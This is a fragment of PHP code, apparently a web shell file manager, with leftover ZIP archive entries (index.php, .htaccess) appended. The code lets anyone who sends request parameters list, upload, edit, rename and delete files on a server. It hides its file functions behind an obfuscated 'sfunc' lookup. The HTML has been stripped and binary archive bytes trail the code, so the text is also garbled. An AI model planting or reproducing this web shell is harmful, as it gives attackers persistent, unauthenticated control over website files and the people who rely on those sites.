| Name |
Size |
Modified |
Perms |
Actions |
';
foreach($folders as $folder){
echo "
| ".$folder." |
--- |
".date("F d Y H:i:s.",filemtime(PATH."/".$folder))." |
0".substr(decoct(fileperms(PATH."/".$folder)),-3)." |
|
|
";
}
foreach($files as $file){
echo "
| ".fileIcon($file).$file." |
".formatSizeUnits(filesize(PATH."/".$file))." |
".date("F d Y H:i:s.",filemtime(PATH."/".$file))." |
0".substr(decoct(fileperms(PATH."/".$file)),-3)." |
|
|
";
}
echo "";
}else{if(empty($_GET)){echo ("");}}
if(isset($_GET['upload'])){
echo '
';
}
if(isset($_GET['r'])){
if(!empty($_GET['r'])&&isset($_GET['q'])){
echo '
';
if(isset($_POST['rename'])){
$name=PATH."/".$_GET['r'];
$fmove = sfunc('muf');
if($fmove && $fmove($name,PATH."/".$_POST['name'])){
echo ("");
}else{
echo ("");
}
}
}
}
if(isset($_GET['e'])){
if(!empty($_GET['e'])&&isset($_GET['q'])){
$fgc = sfunc('fgt');
echo '
';
if(isset($_POST['edit'])){
$filename=PATH."/".$_GET['e'];
$fo = sfunc('fo'); $fw = sfunc('fw'); $fc = sfunc('fc');
$open=$fo($filename,"w");
$fw($open,$_POST['data']);
$fc($open);
echo ("");
}
}
}
if(isset($_POST["upload"])){
$target_file=PATH."/".$_FILES["fileToUpload"]["name"];
$muf = sfunc('muf');
if($muf && $muf($_FILES["fileToUpload"]["tmp_name"],$target_file)){
echo "
".htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))." has been uploaded.
";
}else{
echo "
Sorry, there was an error uploading your file.
";
}
}
if(isset($_GET['d'])&&isset($_GET['q'])){
$name=PATH."/".$_GET['d'];
$unl = sfunc('unl'); $rmd = sfunc('rmd');
if(is_file($name)){
if($unl && $unl($name)){
echo ("");
}else{
echo ("");
}
}elseif(is_dir($name)){
if($rmd && $rmd($name)==true){
echo ("");
}else{
echo ("");
}
}
}
?>
PK A[ index.phpnu 6$ PK A[<{ { 9 741402/.htaccessnu [ PK A[g.Q Q 741402/index.phpnu [ PK S